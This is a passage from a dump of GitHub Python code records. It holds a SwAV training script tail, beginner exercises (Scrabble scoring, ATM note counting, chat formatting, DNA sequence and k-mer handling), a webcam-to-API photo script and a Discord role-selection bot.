artifact_dirname\r\n                    )),\r\n                    'model.ckpt'\r\n                )\r\n            else:\r\n                # artifact is already downloaded, because it was used before -> just store its path in hyperparameter_checkpoint\r\n                args.hyperparameter_checkpoint = os.path.join(\r\n                    args.artifact_dir,\r\n                    artifact_dirname,\r\n                    'model.ckpt'\r\n                )\r\n        else:\r\n            # we got a DummyExperiment -> we are not rank 0\r\n            # wait until the rank 0 process downloaded the artifact, then use it to obtain the hyperparameters\r\n            while not os.path.isdir(os.path.join(args.artifact_dir, artifact_dirname)):\r\n                pass\r\n            # now the file exists, but it might still be in the process of downloading\r\n            args.hyperparameter_checkpoint = os.path.join(\r\n                args.artifact_dir,\r\n                artifact_dirname,\r\n                'model.ckpt'\r\n            )\r\n\r\n    if args.hyperparameter_checkpoint is not None:\r\n        while True:\r\n            try:\r\n                hyperparameters = load_checkpoint(args.hyperparameter_checkpoint)['hyper_parameters']\r\n                break\r\n            except:\r\n                print('Waiting for download...')\r\n                sleep(1)\r\n\r\n        # overwrite arguments that were explicitly specified in the command line\r\n        hyperparameters.update({k: v for k, v in args.__dict__.items() if any(f'--{k}' in arg for arg in sys.argv)})\r\n        # * this assumes \"_\" in argument names, NOT \"-\"\r\n        # * and it assumes no shortcut names for arguments\r\n\r\n        args.__dict__ = hyperparameters\r\n\r\n    assert not (args.supervised_only and args.supervised_contrastive), 'No contrastive objective present when training purely supervised'\r\n\r\n    logger.experiment.name = '/'.join([\r\n        args.dataset,\r\n        \"supervised\" if args.supervised_only else \"supervised_swav\"] +\r\n        ([args.hyperparameter_artifact] if 'hyperparameter_artifact' in args.__dict__ and args.hyperparameter_artifact is not None else ([os.path.basename(args.hyperparameter_checkpoint)] if 'hyperparameter_checkpoint' in args.__dict__ and args.hyperparameter_checkpoint is not None else [])) +\r\n        ([args.wandb_run_name] if args.wandb_run_name else [])\r\n    )\r\n\r\n    if args.dataset == 'stl10':\r\n        raise NotImplementedError(\"stl10 has not yet been implemented for the supervised setting\")\r\n        dm = STL10DataModule(data_dir=args.data_dir, batch_size=args.batch_size, num_workers=args.num_workers)\r\n\r\n        dm.train_dataloader = dm.train_dataloader_mixed\r\n        dm.val_dataloader = dm.val_dataloader_mixed\r\n        args.num_samples = dm.num_unlabeled_samples\r\n\r\n        args.maxpool1 = False\r\n\r\n        normalization = stl10_normalization()\r\n    elif args.dataset == 'cifar10':\r\n        dm = CIFAR10DataModule(data_dir=args.data_dir, batch_size=args.batch_size, num_workers=args.num_workers)\r\n\r\n        args.num_samples = dm.num_samples\r\n\r\n        args.maxpool1 = False\r\n        args.first_conv = False\r\n\r\n        normalization = cifar10_normalization()\r\n    elif args.dataset == 'cifar100':\r\n        dm = CIFAR100DataModule(data_dir=args.data_dir, batch_size=args.batch_size, num_workers=args.num_workers)\r\n\r\n        args.num_samples = dm.num_samples\r\n\r\n        args.maxpool1 = False\r\n        args.first_conv = False\r\n\r\n        normalization = cifar10_normalization()\r\n    elif args.dataset.startswith('office31'):\r\n        if len(args.dataset) < 9 or args.dataset[8] != ':':\r\n            raise ValueError('Violated expected format for office31 dataset name: \"office31:<domain>\", e.g.\"office31:amazon\"')\r\n\r\n        train_domain = args.dataset[9:]\r\n        dm = Office31DataModule(data_dir=args.data_dir, batch_size=args.batch_size, num_workers=args.num_workers, domain=train_domain, val_split=0)\r\n        args.num_samples = dm.num_samples\r\n\r\n        normalization = imagenet_normalization()\r\n\r\n        # use training sets of the other domains as validation during training on this domain\r\n        val_domains = [domain for domain in ('amazon', 'dslr', 'webcam') if domain != train_domain]\r\n        val_dataloaders = []\r\n        for domain in val_domains:\r\n            val_dm = Office31DataModule(data_dir=args.data_dir, batch_size=args.batch_size, num_workers=args.num_workers, domain=domain, val_split=0.2)\r\n\r\n            val_dm.train_transforms = SwAVEvalDataTransform(\r\n                normalize=normalization,\r\n                size_crops=args.size_crops,\r\n                nmb_crops=args.nmb_crops,\r\n                min_scale_crops=args.min_scale_crops,\r\n                max_scale_crops=args.max_scale_crops,\r\n                gaussian_blur=args.gaussian_blur,\r\n                jitter_strength=args.jitter_strength\r\n            )\r\n            if args.supervised_only:\r\n                val_dm.train_transforms.transform = [val_dm.train_transforms.transform[-1]]\r\n            val_dm.train_transforms.transform[-1] = transforms.Compose([\r\n                transforms.ToTensor(),\r\n                normalization,\r\n            ])\r\n            val_dm.setup(stage='fit')\r\n\r\n            val_dataloaders.append(val_dm.train_dataloader())\r\n\r\n        dm.val_dataloader = lambda: val_dataloaders\r\n        args.val_names = val_domains\r\n\r\n    elif args.dataset == 'imagenet':\r\n        args.maxpool1 = True\r\n        args.first_conv = True\r\n        normalization = imagenet_normalization()\r\n\r\n        args.size_crops = [224, 96]\r\n        args.nmb_crops = [2, 6]\r\n        args.min_scale_crops = [0.14, 0.05]\r\n        args.max_scale_crops = [1., 0.14]\r\n        args.gaussian_blur = True\r\n        args.jitter_strength = 1.\r\n\r\n        args.batch_size = 64\r\n        args.num_nodes = 8\r\n        args.gpus = 8  # per-node\r\n        args.max_epochs = 800\r\n\r\n        args.optimizer = 'lars'\r\n        args.learning_rate = 4.8\r\n        args.final_lr = 0.0048\r\n        args.start_lr = 0.3\r\n\r\n        args.nmb_prototypes = 3000\r\n\r\n        dm = ImagenetDataModule(data_dir=args.data_dir, batch_size=args.batch_size, num_workers=args.num_workers)\r\n\r\n        args.num_samples = dm.num_samples\r\n        args.input_height = dm.size()[-1]\r\n    else:\r\n        raise NotImplementedError(\"other datasets have not been implemented till now\")\r\n\r\n    args.num_classes = dm.num_classes\r\n\r\n    if args.supervised_only:\r\n        # if only supervised training is done, don't create swav-specific layers of resnet\r\n        args.nmb_prototypes = 0\r\n        if not args.supervised_head_after_proj_head:\r\n            args.feat_dim = 0\r\n\r\n    dm.train_transforms = SwAVTrainDataTransform(\r\n        normalize=normalization,\r\n        size_crops=args.size_crops,\r\n        nmb_crops=args.nmb_crops,\r\n        min_scale_crops=args.min_scale_crops,\r\n        max_scale_crops=args.max_scale_crops,\r\n        gaussian_blur=args.gaussian_blur,\r\n        jitter_strength=args.jitter_strength\r\n    )\r\n    if args.supervised_only:\r\n        dm.train_transforms.transform = [dm.train_transforms.transform[-1]]\r\n\r\n    if args.supervised_crop_size < 0:\r\n        assert not args.supervised_only, 'For supervised_only, supervised_crop_size needs to be specified'\r\n        args.supervised_crop_size = args.size_crops[0]\r\n\r\n    # set the augmentation transforms for supervised training\r\n    if args.supervised_transforms == 'cifar10_transforms':\r\n        args.supervised_crop_size = 32\r\n        # the augmentations used for cifar10 in the resnet paper\r\n        # https://arxiv.org/pdf/1512.03385.pdf\r\n        # or in\r\n        # https://github.com/kentaroy47/pytorch-lightning-tryouts/blob/master/cifar10.py\r\n        dm.train_transforms.transform[-1] = transforms.Compose([\r\n            transforms.RandomCrop(32, padding=4),\r\n            transforms.RandomHorizontalFlip(),\r\n            transforms.ToTensor(),\r\n            normalization,\r\n        ])\r\n    elif args.supervised_transforms == 'larger_crop':\r\n        dm.train_transforms.transform[-1] = transforms.Compose([\r\n            transforms.RandomResizedCrop(args.supervised_crop_size, scale=(0.3125, 1.0)),\r\n            transforms.RandomHorizontalFlip(),\r\n            transforms.ToTensor(),\r\n            normalization,\r\n        ])\r\n    else:\r\n        # the default ones as defined in SwAVTrainDataTransform:\r\n        dm.train_transforms.transform[-1] = transforms.Compose([\r\n            transforms.RandomResizedCrop(args.supervised_crop_size),\r\n            transforms.RandomHorizontalFlip(),\r\n            transforms.ToTensor(),\r\n            normalization,\r\n        ])\r\n\r\n    dm.val_transforms = SwAVEvalDataTransform(\r\n        normalize=normalization,\r\n        size_crops=args.size_crops,\r\n        nmb_crops=args.nmb_crops,\r\n        min_scale_crops=args.min_scale_crops,\r\n        max_scale_crops=args.max_scale_crops,\r\n        gaussian_blur=args.gaussian_blur,\r\n        jitter_strength=args.jitter_strength\r\n    )\r\n    if args.supervised_only:\r\n        dm.val_transforms.transform = [dm.val_transforms.transform[-1]]\r\n\r\n    dm.val_transforms.transform[-1] = transforms.Compose([\r\n        transforms.ToTensor(),\r\n        normalization,\r\n    ])\r\n\r\n    # swav model init\r\n    model = SupervisedSwAV(**args.__dict__)\r\n\r\n    lr_monitor = LearningRateMonitor(logging_interval=\"step\")\r\n    model_checkpoint = ModelCheckpoint(\r\n        save_last=not args.dataset.startswith('office31'),\r\n        save_top_k=1,\r\n        monitor='val/joint_loss' if not args.dataset.startswith('office31') else\r\n                ('val/webcam/joint_loss' if args.dataset.endswith('amazon') else 'val/amazon/joint_loss')\r\n    )\r\n    callbacks = [model_checkpoint, lr_monitor]\r\n\r\n    trainer = pl.Trainer(\r\n        max_epochs=args.max_epochs,\r\n        max_steps=None if args.max_steps == -1 else args.max_steps,\r\n        gpus=args.gpus,\r\n        num_nodes=args.num_nodes,\r\n        distributed_backend='ddp' if args.gpus > 1 else None,\r\n        sync_batchnorm=True if args.gpus > 1 else False,\r\n        precision=32 if args.fp32 else 16,\r\n        callbacks=callbacks,\r\n        fast_dev_run=args.fast_dev_run,\r\n        logger=logger,\r\n    )\r\n\r\n    trainer.fit(model, datamodule=dm)\r\n\r\n\r\nif __name__ == '__main__':\r\n    cli_main()\r\n","repo_name":"AlexanderBartler/TTAPS","sub_path":"src/supervised_swav_module.py","file_name":"supervised_swav_module.py","file_ext":"py","file_size_in_byte":54677,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"73526710451","text":"# Starting code\nletters = [\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\", \"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\"]\npoints = [1, 3, 3, 2, 1, 4, 2, 4, 1, 8, 5, 1, 3, 4, 1, 3, 10, 1, 1, 1, 1, 4, 4, 8, 4, 10]\n\n# ===================================\n# Build your Point Dictionary Section\n# ===================================\n# Task 1: Create dictionary using list comprehension and zip\nletter_to_points = {letters:points for letters, points in zip(letters, points)}\n\n# Task 2: Add key value pair to dictionary\nletter_to_points[\" \"] = 0\n\n# ====================\n# Score a Word Section\n# ====================\n# Task 3: Write function score_word\ndef score_word(word):\n  # Task 4: Create variable point_total\n  point_total = 0\n  # Task 5: Iterate through word and add point values to point_total\n  for letter in word:\n    # Add point value from dictionary to point_total. Default to 0 if letter is not in dictionary\n    # Task 15: Extra - Make input work with lowercase letters\n    point_total += letter_to_points.get(letter.upper(), 0)\n  # Task 6: Return point_total\n  return point_total\n# Task 7: Test score_word function with BROWNIE\nbrownie_points = score_word(\"BROWNIE\")\n# Task 8: Print brownie_points. Should print 15.\nprint(brownie_points)\n\n# ====================\n# Score a Game Section\n# ====================\n# Task 9: Create dictionary\nplayer_to_words ={\n  \"player1\": [\"BLUE\", \"TENNIS\", \"EXIT\"],\n  \"wordNerd\": [\"EARTH\", \"EYES\", \"MACHINE\"],\n  \"Lexi Con\": [\"ERASER\", \"BELLY\", \"HUSKY\"],\n  \"Prof Reader\": [\"ZAP\", \"COMA\", \"PERIOD\"]\n}\n\n# Task 10: Create empty dictionary\nplayer_to_points = {}\n\n# Task 11: Iterate through items in player_to_words. Create player_points and set to 0.\nfor player, words in player_to_words.items():\n  # Create variable\n  player_points = 0\n  # Task 12: Iterate through words and add value of word using score_word\n  for word in words:\n    # Add value of word to player_points\n    player_points += score_word(word)\n  # Task 13: Add key value pair to player_points using player and player_points\n  player_to_points[player] = player_points\n# Task 14: Print player_to_points. wordNerd should be winning by 1 point.\nprint(player_to_points)\n\n# ===================================\n# Ideas for Further Practice! Section\n# ===================================\n# Task 15: Extra Functions\n# - update_point_totals: Nested loop from Task 11 to Task 13 to be called when a word is played\n# - play_word: Takes a player and word and adds word to player's list of words\n# Able to score lowercase inputs as well - Code is labeled as Task 15: Extra above.\n# Write update_point_totals function\ndef update_point_totals():\n  # Iterate through player_to_words\n  for player, words in player_to_words.items():\n    # Create variable\n    player_points = 0\n    # Iterate through words\n    for word in words:\n      # Add value of word to player_points\n      player_points += score_word(word)\n    # Add key value pair to player_points using player and player_points\n    player_to_points[player] = player_points\n\n# Write play_word function\ndef play_word(player, word):\n  # Append word to players list of words\n  player_to_words.get(player).append(word)\n  # Call update_point_totals\n  update_point_totals()\n  # Print player_to_points\n  print(player_to_points)\n\n# Test play_word function\nplay_word(\"player1\", \"COOKIE\")\n# Test play_word function\nplay_word(\"wordNerd\", \"Water\")\n","repo_name":"josejpalacios/codecademy-python3","sub_path":"Lesson 08: Dictionaries/Project 01: Scrabble.py","file_name":"Project 01: Scrabble.py","file_ext":"py","file_size_in_byte":3405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74529049651","text":"# saque = int(input('Que valor você quer sacar? R$')) #1234\n#\n# cinquenta = saque // 50 #24\n# diferenca1 = cinquenta * 50 #1200\n#\n# vinte = (saque - diferenca1) // 20 #1\n# diferenca2 = vinte * 20 #20\n#\n# dez = (saque - (diferenca1 + diferenca2)) // 10 #1\n# diferenca3 = dez * 10 #10\n#\n# um = (saque - (diferenca1 + diferenca2 + diferenca3)) // 1 #4\n#\n# print(f'Total de {cinquenta} cédulas de R$50')\n# print(f'Total de {vinte} cédulas de R$20')\n# print(f'Total de {dez} cédulas de R$10')\n# print(f'Total de {um} cédulas de R$1')\n\n\n'''GUANABARA'''\n# Verifica o mantante do dinheiro que é o 'total', vai tirando notas 50 reais até não dar mais,\n# verifica o quanto sobrou e vai tirando notas de 20 até não dar mais,\n# Verifica o quanto sobrou e vai tirando notas de 10 reais e por ultimo,\n# verifica a quanto sobrou e vai tirando notas de 1 real.\nprint('=' * 30)\nprint('{:^30}'.format('BANCO CEV'))\nprint('=' * 30)\nvalor = int(input('Que valor você quer sacar? R$'))\ntotal = valor\ncéd = 50\ntotcéd = 0\nwhile True:\n    if total >= céd:\n        total -= céd\n        totcéd += 1\n    else:\n        if totcéd > 0:\n            print(f'Total de {totcéd} cédulas de R${céd}')\n        if céd == 50:\n            céd = 20\n        elif céd == 20:\n            céd = 10\n        elif céd == 10:\n            céd = 1\n        totcéd = 0\n        if total == 0:\n            break\nprint('=' * 30)\nprint('Volta sempre ao BANCO CEV! Tenha um bom dia!')\n\n","repo_name":"JaymersonFerreira/python-guanabara","sub_path":"exercicios/ex071.py","file_name":"ex071.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"12283430785","text":"import os\nfrom dotenv import load_dotenv\n\nimport cv2\n\nimport pynput\nfrom pynput import keyboard\nimport base64\nimport requests\nimport json\n\nload_dotenv()\n\n\ndef on_release(key):\n    if 'char' in dir(key):\n        if key.char == \"p\":\n            print(\"\\nphoto\")\n\n            # Activation de la caméra\n            cam = cv2.VideoCapture(0)\n            ret, img = cam.read()\n\n            if ret:\n                # scale_percent = 60  # percent of original size\n                # width = int(img.shape[1] * scale_percent / 100)\n                # height = int(img.shape[0] * scale_percent / 100)\n                # dim = (width, height)\n\n                # resized = cv2.resize(img, dim, interpolation=cv2.INTER_AREA)\n\n                # cv2.imshow(\"test\", resized)\n                # cv2.waitKey()\n                # cv2.destroyAllWindows()\n\n                # Transformer l'image en base 64\n                retval, buffer = cv2.imencode('.jpg', img)\n                jpg_as_text = base64.b64encode(buffer).decode('utf-8')\n                dataurl = f'data:image/jpg;base64,{jpg_as_text}'\n\n                # Requète vers l'API\n                # Laisser vide la question si juste description automatique de l'image\n                question = \"Is the person giving a thumbs up or down? answer:\"\n\n                resp = requests.post(\n                    os.getenv('DOMAIN'),\n                    json={\"image\": dataurl,\n                          \"visualQuestion\": question},\n                    headers={\"Content-Type\": \"application/json\"})\n                answer = resp.json()\n\n                output = answer[\"prediction\"][\"output\"]\n                print(output)\n\n            cam.release()\n\n\n# Evenements du clavier\nwith keyboard.Listener(\n        # on_press=on_press,\n        on_release=on_release) as listener:\n    listener.join()\n","repo_name":"mmattm/camera-obscura-python","sub_path":"camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2602572617","text":"from typing import List\n\nimport discord\nfrom discord import Interaction\n\nfrom main.constants import roles_categories, fluency_levels, misc_roles, pronoun_roles\nfrom main.views.view_components.buttons import FluencyLevelButton, MiscRoleButton, PageChangeButton, PronounRoleButton\nfrom main.views.view_components.dropdowns import RolesCategoryDropdown, NativeLanguagesDropdown\n\n# Creates subclass for viewing the role buttons\nclass RolesView(discord.ui.View):\n\n    # Creates buttons and dropdown menus for the /roles command\n    def __init__(self):\n        super().__init__()\n        self.nativelanguages_dropdown = None\n        self.pagechange_buttons: List[PageChangeButton] = []\n        dropdown = RolesCategoryDropdown(self.on_rolescategory_dropdown_select)\n        self.add_item(dropdown)\n\n    def fluency_level_buttons(self):\n        buttons = []\n        for fluency_level in fluency_levels:\n            button = FluencyLevelButton(fluency_level, self.on_fluencylevel_button_click)\n            buttons.append(button)\n        return buttons\n\n    def misc_role_buttons(self):\n        buttons = []\n        for misc_role in misc_roles:\n            button = MiscRoleButton(misc_role, self.on_miscrole_button_click)\n            buttons.append(button)\n        return buttons\n    \n    def pronoun_role_buttons(self):\n        buttons = []\n        for pronoun_role in pronoun_roles:\n            button = PronounRoleButton(pronoun_role, self.on_pronoun_button_click)\n            buttons.append(button)\n        return buttons\n\n    def page_change_buttons(self):\n        return [\n            PageChangeButton(PageChangeButton.PageChangeButtonType.prev_page, self.on_pagechange_button_click),\n            PageChangeButton(PageChangeButton.PageChangeButtonType.next_page, self.on_pagechange_button_click)\n        ]\n\n    # Code to be executed when choosing a category on the role category dropdown menu\n    async def on_rolescategory_dropdown_select(self, dropdown: RolesCategoryDropdown, interaction: Interaction):\n        self.clear_items()\n        selection = dropdown.values[0]\n        # Displays respective menu depending on the role category chosen\n        if selection == roles_categories[0].code:\n            buttons = self.fluency_level_buttons()\n            for button in buttons:\n                self.add_item(button)\n            await interaction.response.edit_message(content=\"What is your fluency level in English? If you aren't sure, choose Intermediate.\", view=self)\n        elif selection == roles_categories[1].code:\n            self.nativelanguages_dropdown = NativeLanguagesDropdown(self.on_nativelanguages_dropdown_select)\n            self.add_item(self.nativelanguages_dropdown)\n            for button in self.page_change_buttons():\n                self.pagechange_buttons.append(button)\n                self.add_item(button)\n            await interaction.response.edit_message(content=\"Select your native language...\", view=self)\n        elif selection == roles_categories[2].code:\n            buttons = self.misc_role_buttons()\n            for button in buttons:\n                self.add_item(button)\n            await interaction.response.edit_message(content=\"Select other roles...\", view=self)\n        elif selection == roles_categories[3].code:\n            buttons = self.pronoun_role_buttons()\n            for button in buttons:\n                self.add_item(button)\n            await interaction.response.edit_message(content=\"Select pronoun roles...\", view=self)\n            \n    # Code to be executed when choosing a native language on the native language dropdown menu\n    async def on_nativelanguages_dropdown_select(self, dropdown: NativeLanguagesDropdown, interaction: Interaction):\n        self.clear_items()\n        for value in dropdown.values:\n            role = interaction.guild.get_role(int(value))\n            await interaction.user.add_roles(role)\n\n        await interaction.response.edit_message(content=\"Role added! You can now dismiss this message.\", view=self)\n        \n    # Code to be executed when choosing a role on the misc role menu\n    async def on_miscrole_button_click(self, button: MiscRoleButton, interaction: Interaction):\n        self.clear_items()\n        interaction_user = interaction.user\n        requested_role = interaction.guild.get_role(button.role_id)\n        user_has_requested_role = interaction_user.get_role(requested_role.id) is not None\n        if user_has_requested_role:\n            await interaction_user.remove_roles(requested_role)\n            await interaction.response.edit_message(content=\"Role removed! You can now dismiss this message.\", view=self)\n        else:\n            await interaction_user.add_roles(requested_role)\n            await interaction.response.edit_message(content=\"Role added! You can now dismiss this message.\", view=self)\n            \n    # Code to be executed when choosing a role on the pronoun role menu     \n    async def on_pronoun_button_click(self, button: MiscRoleButton, interaction: Interaction):\n        self.clear_items()\n        interaction_user = interaction.user\n        requested_role = interaction.guild.get_role(button.role_id)\n        user_has_requested_role = interaction_user.get_role(requested_role.id) is not None\n        if user_has_requested_role:\n            await interaction_user.remove_roles(requested_role)\n            await interaction.response.edit_message(content=\"Role removed! You can now dismiss this message.\", view=self)\n        else:\n            await interaction_user.add_roles(requested_role)\n            await interaction.response.edit_message(content=\"Role added! You can now dismiss this message.\", view=self)\n    \n    # Code to be executed when choosing a role on the fluency level menu   \n    async def on_fluencylevel_button_click(self, button: FluencyLevelButton, interaction: Interaction):\n        self.clear_items()\n        interaction_user = interaction.user\n        requested_role = interaction.guild.get_role(button.role_id)\n        user_has_requested_role = interaction_user.get_role(requested_role.id) is not None\n\n        # Clears any previously assigned fluency level roles from the user \n        # This prevents them having two fluency level roles\n        async def clear_roles():\n            await interaction_user.remove_roles(\n                discord.Object(fluency_levels[0].role_id),\n                discord.Object(fluency_levels[1].role_id),\n                discord.Object(fluency_levels[2].role_id),\n                discord.Object(fluency_levels[3].role_id)\n            )\n\n        await clear_roles()\n        # Assigns requested role to the user and sends a confirmation message\n        if user_has_requested_role:\n            await interaction.response.edit_message(content=\"Role removed! You can now dismiss this message.\", view=self)\n        else:\n            await interaction_user.add_roles(requested_role)\n            await interaction.response.edit_message(content=\"Role added! You can now dismiss this message.\", view=self)\n\n    # Code to be executed when a page change button is clicked\n    # Goes to the next or previous page\n    async def on_pagechange_button_click(self, button: PageChangeButton, interaction: Interaction):\n        if button.label == \"Next Page\":\n            self.nativelanguages_dropdown.next_page()\n        elif button.label == \"Prev Page\":\n            self.nativelanguages_dropdown.prev_page()\n        # Displays the next or previous page\n        self.refresh_page_change_buttons(self.nativelanguages_dropdown.slice_start, self.nativelanguages_dropdown.slice_end)\n        await interaction.response.edit_message(content=\"Select your native language...\", view=self)\n        \n    # Refreshes the menu depending on the page selected\n    def refresh_page_change_buttons(self, slice_start: int, slice_end: int):\n        for button in self.pagechange_buttons:\n            button.refresh(slice_start, slice_end)\n","repo_name":"sbeve72/rel-bot","sub_path":"main/views/roles_view/roles_view.py","file_name":"roles_view.py","file_ext":"py","file_size_in_byte":7899,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"40250666677","text":"width = 15\nuserWidth = 5\n\nmessages = [[1, \"Hello how r u\"], [2, \"good ty\"], [2, \"u\"], [1, \"me too bro\"]]\n# messages = [[1, \"Hello how r u\"], [2, \"good ty\"], [2, \"u here me\"], [1, \"me too bro\"]]\n\nclosers = \"+\" + \"*\"*width + \"+\"\nborder = \"|\"\ndef solve(message):\n    side, msg = message\n    result = []\n    words = msg.split()\n    row = [words[0]]\n    curr = len(words[0])\n    for idx, word in enumerate(words[1:]):\n        if curr + len(word) + 1 <= userWidth:\n            row.append(word)\n            curr += len(word) + 1\n        else:\n            if side == 1:\n                aft = \" \" * (width-curr+1)\n                row.append(aft)\n            else:\n                bef = \" \" * (width-curr+1)\n                row = [bef] + row\n            x = \" \".join(row)\n            result.append(\"|\"+x+\"|\")\n            curr = len(word)\n            row = [word]\n\n    if side == 1:\n        aft = \" \" * (width-curr+1)\n        row.append(aft)\n    else:\n        bef = \" \" * (width-curr+1)\n        row = [bef] + row\n    x = \" \".join(row)\n    result.append(\"|\"+x+\"|\")\n    return result\n\nans = []\nans.append(closers)\nfor item in messages:\n    n = solve(item)\n    if not n: continue\n    for el in n:\n        ans.append(el)\nans.append(closers)\nfor r in ans:\n    print(r)\n\n['+***************+', \n'|Hello            |', \n'|how r            |', \n'|u                |', \n'|             good|', \n'|               ty|', \n'|                u|', \n'|me               |', \n'|too              |', \n'|bro              |', \n'+***************+']\n\n['+***************+', \n'|Hello            |', \n'|how r            |', \n'|u                |', \n'|             good|', \n'|               ty|', \n'|                u|', \n'|             here|', \n'|              me|', \n'|me               |', \n'|too              |', \n'|bro              |', \n'+***************+']","repo_name":"Naboni/Competitive-Programming","sub_path":"OA/oa10.py","file_name":"oa10.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"29685398471","text":"#! /usr/bin/env python3\n\nclass Sequence:\n    # Detect the type of sequence this is\n    def detect_type(seq):\n        # Check to see if this seq is only ACGT\n        count = seq.count(\"A\") + seq.count(\"C\") + seq.count(\"G\") + seq.count(\"T\")\n\n        return \"N\" if count == len(seq) else \"P\"\n\n    def get_aa():\n    # Obtained from https://stackoverflow.com/questions/19521905/translation-dna-to-protein\n        return {\n        'ATA':'I', 'ATC':'I', 'ATT':'I', 'ATG':'M',\n        'ACA':'T', 'ACC':'T', 'ACG':'T', 'ACT':'T',\n        'AAC':'N', 'AAT':'N', 'AAA':'K', 'AAG':'K',\n        'AGC':'S', 'AGT':'S', 'AGA':'R', 'AGG':'R',\n        'CTA':'L', 'CTC':'L', 'CTG':'L', 'CTT':'L',\n        'CCA':'P', 'CCC':'P', 'CCG':'P', 'CCT':'P',\n        'CAC':'H', 'CAT':'H', 'CAA':'Q', 'CAG':'Q',\n        'CGA':'R', 'CGC':'R', 'CGG':'R', 'CGT':'R',\n        'GTA':'V', 'GTC':'V', 'GTG':'V', 'GTT':'V',\n        'GCA':'A', 'GCC':'A', 'GCG':'A', 'GCT':'A',\n        'GAC':'D', 'GAT':'D', 'GAA':'E', 'GAG':'E',\n        'GGA':'G', 'GGC':'G', 'GGG':'G', 'GGT':'G',\n        'TCA':'S', 'TCC':'S', 'TCG':'S', 'TCT':'S',\n        'TTC':'F', 'TTT':'F', 'TTA':'L', 'TTG':'L',\n        'TAC':'Y', 'TAT':'Y', 'TAA':'*', 'TAG':'*',\n        'TGC':'C', 'TGT':'C', 'TGA':'*', 'TGG':'W',\n        }\n\n    # Perform the reverse complement on a nucleotide sequence\n    def rev_comp(seq):\n        ret_seq = \"\"\n        rev_lookup = {'A':'T', 'C':'G', 'G':'C', 'T':'A'}\n\n        for nuc in seq[::-1]:\n            ret_seq += rev_lookup.get(nuc, '')\n\n        return ret_seq\n\n    # Translate the sequence on the specified frame\n    def translate_frame(seq, frame):\n        ret_protein = \"\"\n        aa_lookup = Sequence.get_aa()\n\n        # Frames 0-2 fwd, 3-5 rev\n        strand = seq if frame < 3 else Sequence.rev_comp(seq)\n\n        # Start on the requested frame, and skip a codons length each time\n        for pos in range(frame % 3, len(strand), 3):\n            codon = strand[pos:pos+3]\n\n            if codon not in aa_lookup:\n                ret_protein += \"X\"\n            else:\n                ret_protein += aa_lookup[codon]\n\n        return ret_protein\n\n    def __init__(self, seq = '', molecule = 'N'):\n        # Set sequence (no override necessary)\n        self.seq = seq\n        self.molecule = molecule\n\n        # Perform a type check if nucleotide\n        if self.molecule == 'N':\n            self.molecule = Sequence.detect_type(self.seq)\n\n    # String method returns format \"<TYPE>:<SEQ>\"\n    def __str__(self):\n       return \"{0}:{1}\".format(self.molecule, self.seq)\n\n    # Len should return length of sequence\n    def __len__(self):\n        return len(self.seq)\n\n    # Equality checks for same sequence (or translated sequence for N==P)\n    def __eq__(self, operand):\n        # If not a sequence, return false\n        if not isinstance(operand, Sequence):\n            return False\n\n        if self.molecule == operand.molecule:\n            # If the same type, simply compare strings\n            return self.seq == operand.seq\n        else:\n            # If different types, compare translations\n            for trans1 in self.translate():\n                for trans2 in operand.translate():\n                    if trans1 == trans2:\n                        return True\n\n        return False\n\n    # Addition should create a new sequence that's the concatenation of two\n    # sequences of same type, or an empty nucleotide sequence if not\n    def __add__(self, operand):\n        # If not a sequence, return new empty sequence\n        if not isinstance(operand, Sequence):\n            return Sequence()\n\n        # If not same type, return new empty sequence\n        if self.molecule != operand.molecule:\n            return Sequence()\n\n        # Return concatenation of same type\n        return Sequence(self.seq + operand.seq, self.molecule)\n\n    # If nucleotides, translate on all 6 frames.  If prot, return\n    def translate(self):\n        ret_list = []\n\n        if self.molecule == 'P':\n            # For proteins, simply return sequence\n            ret_list.append(self.seq)\n        else:\n            # For nucleotides, translate all 6 frames and add to list\n            for frame in range(6):\n                ret_list.append(Sequence.translate_frame(self.seq, frame))\n\n        return ret_list\n\n    # Calculate GC content\n    def gc_content(self):\n        # For proteins, return 0\n        if self.molecule == 'P':\n            return 0\n\n        return (self.seq.count(\"C\") + self.seq.count(\"G\")) / len(self)\n\n# Prompt the user for a list of nucleotide sequences\ndef get_seqs():\n    seq_list = []\n\n    while True:\n        seq = input(\"Enter nucleotide seq: \")\n        if seq == \"\":\n            break\n\n        seq_list.append(Sequence(seq))\n\n    return seq_list\n\n# Count kmers across all Sequence instances in the list\ndef get_kmers(seqs, size):\n    kmers = {}\n\n    for seq in seqs:\n        # Skip protein sequences\n        if seq.molecule == 'P': continue\n\n        # Iterate through the starting position of each kmer and record\n        for pos in range(len(seq) - size + 1):\n            kmer = seq.seq[pos:pos+size]\n            kmers.setdefault(kmer, 0)\n            kmers[kmer] += 1\n\n    return kmers\n\n# Get seqs, and print 3mers, 4mers and 5mers\nseqs = get_seqs()\n\nprint(get_kmers(seqs, 3))\nprint(get_kmers(seqs, 4))\nprint(get_kmers(seqs, 5))\n","repo_name":"hillba88/Bioinformatic-Programming","sub_path":"hw5-5.py","file_name":"hw5-5.py","file_ext":"py","file_size_in_byte":5310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
